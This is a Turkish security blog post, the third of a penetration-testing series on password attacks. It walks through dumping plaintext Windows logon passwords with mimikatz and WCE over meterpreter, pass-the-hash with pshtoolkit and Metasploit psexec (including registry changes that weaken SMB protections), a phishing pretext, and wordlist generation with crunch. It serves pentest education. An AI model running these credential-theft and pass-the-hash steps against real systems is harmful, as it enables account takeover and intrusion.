Genel olarak bilgisayar ve ağ güvenliği ile ilgili ama ilgisiz konularda da bir şeyler karalanabilen kişisel bir blog

16 Şubat 2014 Pazar

Sızma Testlerinde Parola Kırma Saldırı Yöntem ve Araçları -III

Üçüncü ve son bölümde kırma işlemi gerektirmeden mimikatz ile parola çekme, Windowsun zafiyet olmayan en güzel zafiyeti: pass-the-hash ve crunch ile parola listeleri oluşturmaktan bahsedilmiştir.
 

Teknik olmayan Saldırılar

Bu saldırı tipinde
    Fiziksel olarak kullanıcıya ulaşmak ve takip etmek ,
    Keylogger tarzı klavye hareketlerini kaydeden yazılımlar kullanmak
    Sosyal mühendislik saldırıları vardır.

Parola Kırma Gerektirmeyen Saldırılar

mimikatz

Wdigest.dll, Windows sistemlerde The Digest Access Authentication protokolünde, HTTP  ve SASL (Simple Authentication Security Layer) için  kullanılmak üzere tasarlanmış bir sistem kütüphanesidir. Daha basit bir ifadeyle kullanıcının, kullanıcı adı ve şifresini sunucuya gönderirken kullandığı bir yöntemdir. Digest Acces Authentication’da NTLM’ye  benzer biçimde challange-response yapısını kullanır ve kullanıcı adı ve parolaları hafızada SAM’de saklar. Daha öncede bahsedildiği gibi SAM lsass.exe gibi uygulamalara güvenir ve eğer lsass.exe’ye bir şekilde enjeksiyon yapılırsa wdigest.dll’den kullanıcı adı ve parolası istenebilir. İşte bu işi başaran program mimikatz’dır.
    (Kaynak)
mimikatz sekurlsa.dll kütüphanesini lsass.exeye enjekte eder ve wdigest.dll vasıtasıyla SAM’den parola verisini isteyebilir.
mimikatz uygulaması sağ tıklanıp yönetici hakları ile çalıştırılabilir veya Windows’ta komut satırı açılır mimikatz/x64  klasörüne gelinir ve mimikatz.exe çalıştırılır. Sırayla kalın fontlu komutlar girildiğinde parolaya direk olarak ulaşılır.


mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK


mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 752
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                       Gentil Kiwi


SekurLSA : librairie de manipulation des données de sécurités dans LSASS


========================================


Les fonctions suivantes NE SONT PLUS supportées via l'injection de la librairie
sekurlsa.dll :


       @getLogonPasswords     @getMSV(Functions)     @getTsPkg(Functions)
       @getWDigest(Functions) @getLiveSSP(Functions) @getKerberos(Functions)


Les mêmes fonctionnalités (et même plus !) sont disponibles SANS INJECTION :


       sekurlsa::logonPasswords sekurlsa::msv     sekurlsa::tspkg
       sekurlsa::wdigest        sekurlsa::livessp sekurlsa::kerberos


Vous pouvez décharger la librairie avec    : @
Puis utiliser un module local, par exemple : sekurlsa::logonPasswords full


========================================


mimikatz # sekurlsa::logonPasswords


Authentification Id         : 0;939484
Package d'authentification  : NTLM
Utilisateur principal       : ender
Domaine d'authentification  : WIN-05706LFJG67
       msv1_0 :        lm{ 624aac413795cdc1aad3b435b51404ee }, ntlm{ c5a237b7e9
d8e708d8436b6148a25fa1 }
       kerberos :      test123
       ssp :
       wdigest :       test123
       tspkg :          test123
       livessp :       n.t. (LUID KO)


WCE (Windows Credential Editor)

Windows Credentials Editor (WCE) Windows sistemlerde oturum listelemek, eklemek, düzenlemek ve silmek için kullanılan bir araçtır. Çıktı olarak LanMan/NT özetlerinin bulunduğu bir dosya verir. Kendi brute-force aracı ile parolayı metin olarak gösterebilir. Bu araç ile mimikatz,fgdump ile yapılan işleme benzer olarak direk parolalara erişilebilir ancak bir fark olarak bu sefer Windows sisteme uzaktan erişilmeye çalışılmıştır. Sızma detayları verilmeyecektir. Burada sadece parola kırma kısmı verilecektir. Bu senaryoda hedef sistem  Windows 7 Ultimate 32 Bit’tir. Hedefe bir link gönderilmiştir. Bu linke tıklandığında kullanıcı Gmail gibi gözüken bir sayfa görür ve sayfada bir Java uygulaması çalışması isteği çıkar. Kullanıcı Java uygulamasına “Run” (Çalıştır) dediğinde hedef sistemde meterpreter ile bir oturum açılmıştır. Bu oturumda wce.rb adlı script çalıştırıldığında hedefe wce_x64(x86).exe (hedefe göre 32 bit veya 64 bit) upload edilip çalıştırılır ve kullanıcı parolası wce ile sistemden özeti alınıp kırılır.


meterpreter > run /usr/share/metasploit-framework/scripts/meterpreter/wce.rb
[*] Uploading wce.exe to C:\Users\test\AppData\Local\Temp....
[*] wce.exe uploaded!
[*] Renamed to C:\Users\test\AppData\Local\Temp\svhost78.exe
[*] Dumping passwords....


\WIN-TEST:test123
WIN-TEST$\WORKGROUP:test123


[*] Deleting C:\Users\test\AppData\Local\Temp\svhost78.exe...



Pass The Hash

Bir sistemde yetki almak için bazen parolayı tahmin etmek veya kırmak yerine bir şekilde ele geçirilen parola özet bilgiside kullanılabilir. Daha sonra sisteme parola özeti alınan kullanıcı gibi giriş yapmak mümkündür. Bu tekniğe “pass-the-hash” denir. Daha çok Windows ve web uygulamalarında görülen bir zafiyettir. Parola özeti SAM dosyasından elde edilebildiği gibi ağ üzerinden sniffing(ağda geçen paketlerin izlenmesi) ile de elde edilebilir. Parola özeti Windows sistemlerde lsass servisine yerleştirilip dosya ve yazıcı paylaşımı için kullanılan servisler aracılığıyla giriş denetimi bypass edilebilir.

Windows -> Windows

Pass-the-hash için Windows’tan Windows’a Hernan Ochoa’nın yayınladığı Windows tabanlı pshtoolkit kullanılacaktır. Pshtoolkit içinde 3 tane program barındıran  bir araçtır.  

    Pshtoolkit

whosthere.exe direk olarak lsass servisinden aktif kullanıcının oturum bilgilerini ele geçirir. Örnek olarak Domain Controller(Etki Alanı Denetleyicisi: Kullanıcıların sisteme giriş yapmasını sağlar) olmayan ancak domainin bir parçası olan bir sunucuya (Yedekleme sunucusu gibi) erişim sağlanırsa SAM dosyasına ulaşılabilir. Başka bir örnek olarak Administrator, yedekleme sunucusu gibi bir sunucuya bazı işlemler için Uzak Masaüstü bağlantısı (Remote Desktop Connection) kurması  gerekebilir. Bu durumda tetikte bekleyen saldırgan Administrator’ın giriş yapmasını bekleyip whosthere.exe yi çalıştırabilir ve aldığı kullanıcı bilgileriyle (kullanıcı adı,domain adı,NTLM özeti) kendi makinesinden Administrator gibi sisteme giriş yapabilir.
genhash.exe parolanın LanMan ve NT özet değerini oluşturur. Eğer kullanıcının parolası biliniyorsa özet değeri üretilip kullanılabilir.
iam.exe whosthere.exe ile alınan kullanıcı bilgilerini (kullanıcı adı,domain adı,NTLM özeti) kullanarak bellekte lsass servisindeki bilgileri değiştirir ve yapılan işlemler artık oturumu çalınan kullanıcıdan çıkıyor gibi gözükür.
Program pshtoolkit linki ile indirilebilir. Bir klasöre çıkartılıp yönetici haklarıyla komut satırından çalıştırılr. Klasör açıldığında whosthere ve iam için birde “-alt” versiyonu olduğu görülür. Normal versiyon direk olarak lsass servisine müdahale edip veriyi değiştirmeye çalışır. Ancak bazen veri yapısından kaynaklı istenilen sonucu vermeyebilir. Alternatif versiyon(-alt) ise lsass servisine kod enjekte ederek çalışır ve daha sağlıklı sonuçlar alınabilir.
Örnek verilen sisteme Administrator olarak girişi yapılmıştır. Komut satırına yönetici haklarıyla erişip whosthere-alt.exe çalıştırıldığında
kullanıcı bilgileri kullanıcı_adı:domain_adı:LM_Özeti:NT_Özeti şeklinde ifşa edildi.
-o dosya_adı ile bir metin dosyasına çıktıda verilebilir.
Şimdi iam-alt.exe ile
TEST kullanıcısının (TEST kullanıcısıda bir yönetici hesabıdır) bilgileri iam.exe’ye verilir.
Sonuç olarak bakıldığında
Domain olarak TEST kullanıcısına geçildi.


Linux -> Windows

Pass-the-hash için bu adımda Linux’tan Windows’a giriş yapmaya çalışılacaktır. Bunun için yine pstoolkit ile özetin alındığı varsayılacaktır. Bundan sonra Linux sistemden metasploitte psexec modülü ile Windows’a istenildiği zaman giriş yapılabilir.
Bu pass-the-hash girişiminde metasploitteki psexec modülü kullanılacaktır. Psexec Microsoft’un Telnet’e alternatif olarak sunduğu uzak sistemlerde kod çalıştırmayı sağlayan bir araçtır.  
Test ortamı olarak Windows 7 32 bit kullanılmıştır. Pshtoolkit Windows 7 de dll enjeksiyonu sırasında hata çıkardığı için fgdump çıktısı kullanılmıştır. Hatırlanacağı üzere fgdump pwdump uzantılı içinde kullanıcı adları ve özetlerin bulunduğu bir çıktı verir. Ancak Windows 7 de LanMan kapalı olduğu için çıktıda LanMan özeti kısmı “NO PASSWORD*******” şeklinde gözükecektir. Öncelikle bu kısım silinip yerine 32 tane “0” yazılır.  
Metasploitte psexec modülü açılır ve kullanıcı için SMBUser değeri  “test”, parola özeti\parola için SMBPass değeri  
“00000000000000000000000000000000:C5A237B7E9D8E708D8436B6148A25FA1” olarak girilir.


Gerekli değerler girilip exploit denildiğinde hash yardımıyla sistemde bir meterpreter oturumu açılır.



[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)
Hatası almamak için Windows kayıt defterinde
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters” taki  ”RequireSecuritySignature” değeri  ”0″ olarak ayarlanmalı ve
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”. Burada  New > DWORD (32-bit) diyerek “LocalAccountTokenFilterPolicy” diye bir girdi oluşturulur ve değeri “1” yapılır.


Girilen kullanıcı adı ve özet bilgisinin doğru ve istenen formatta olmasına dikkat edilir.
Bunlara rağmen ısrarla
[-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
hatası alınabilir. Bu hataya karşı genel bir çözüm olmasada denenebilecek bir kaç şey vardır.
  • Windows’ta “Simple File Sharing” (XP) veya “Sharing Wizard” (W7) bu hataya sebep olabilirler. Değiştirmek için  http://yakupkorkmaz.info/?p=91
  • Windows’ta Xp makinede “Control Panel \ Administrative Tools \ Local Security Tools \ Local Policies \ Security Options \ Network Access: Sharing and security model for local accounts” değiştirilebilir.



Crunch

Sözlükler, kelime listeleri sızma testlerinde çok önemli ve yardımcı olsada bazen yetersiz kalabilir. Böyle durumlarda hedefe özel yeni sözlükler,kelime listeleri oluşturmak elzemdir. Bu amaçla crunch programı kullanılacaktır.  Öncelikle Crunch linkinden indirilebilir. İndirdikten sonra
#tar xvzf crunch*.tar
#cd crunch*
#sudo make
#sudo make install
ile kurulabilir.
/pentest/passwords/crunch# ./crunch ile çalıştırılabilir.Crunch’ın kullanım şekli:
./crunch min max [options]
min,  1,2,3,... Minimum karakter sayısı
max, 1,2,3,... Maksimum karakter sayısı
options, -o,-p,-b,-f gibi isteğe göre girilen parametreler. Daha fazlasına
#man crunch ile ulaşılabilir.
Belirtilen karakterleri içeren bir liste oluşturmak için:
# ./crunch 4 4 [email protected] -o /deneme.txt
Crunch will now generate the following amount of data: 12005 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 2401
100%
komutu ile [email protected] karakterleri kullanılarak 4 karakterli olası tüm kelimeler deneme.txt dosyasına yazılır. Crunch aynı zamanda oluşturulacak dosyanın 2401 satır içereceğini, 12005 byte yer kaplayacağınıda bildirdi. deneme.txt dosyasının içeriği aşağıdaki gibidir:
….
bgbb
….    (devam eder)
Crunch’ın çalıştırıldığı klasörde charset.lst diye bir dosyada vardır. Bu dosya bir çok karakter seti barındırır. Karakter seti aynı klasördeyken
#cat charset.lst     ile görüntülenebilir. Örnek olarak numeric karakter seti ile 4 haneli sayılardan kelime listesi oluşturmak için aşağıdaki komut kullanılabilir. -f parametresi karakter setlerinin barındıran dosyayı  belirtmek için kullanılır.
# ./crunch 4 4 -f charset.lst  numeric  -o /deneme.txt
Crunch will now generate the following amount of data: 50000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000
100%


numeric yerine istenilen karakter setinin ismi yazılabilir. Oluşturulacak bu liste için boyut  yaklaşık 50 KB tır. Özellikle büyük boyutlu dosyalar için boyut bölünmek istenebilir. Bunun için komuta -b 10kb veya -b 10mb gibi değerler eklenerek dosya bölünebilir.
#./crunch 4 4 -f charset.lst numeric -b 10kb -o START
komutu ile olulşturulan dosya crunch klasörü altında  5 tane 10 kb lık daha küçük dosyalara bölünmüştür.
Parolaların önüne ve sonuna eklenen karakterlerle çokça karşılaşılmaktadır. Crunch ile böyle kelimeleri oluşturmak için -t paramtresi ile
küçük harfler için @
büyük harfler için ,
sayı eklemek için %
özel karakter eklemek için ^ konulur:
#./crunch 7 7 -t @@^bga’  -o /deneme.txt
Crunch will now generate the following amount of data: 3655808 bytes
3 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 456976
100%
Bunun sonucunda 3 MB lık aaabgaf, aa%bgaA, aa&bgaB, aa*bgaK   vb ifadelerin olduğu deneme dosyası oluşturulur.

0 yorum:

Yorum Gönder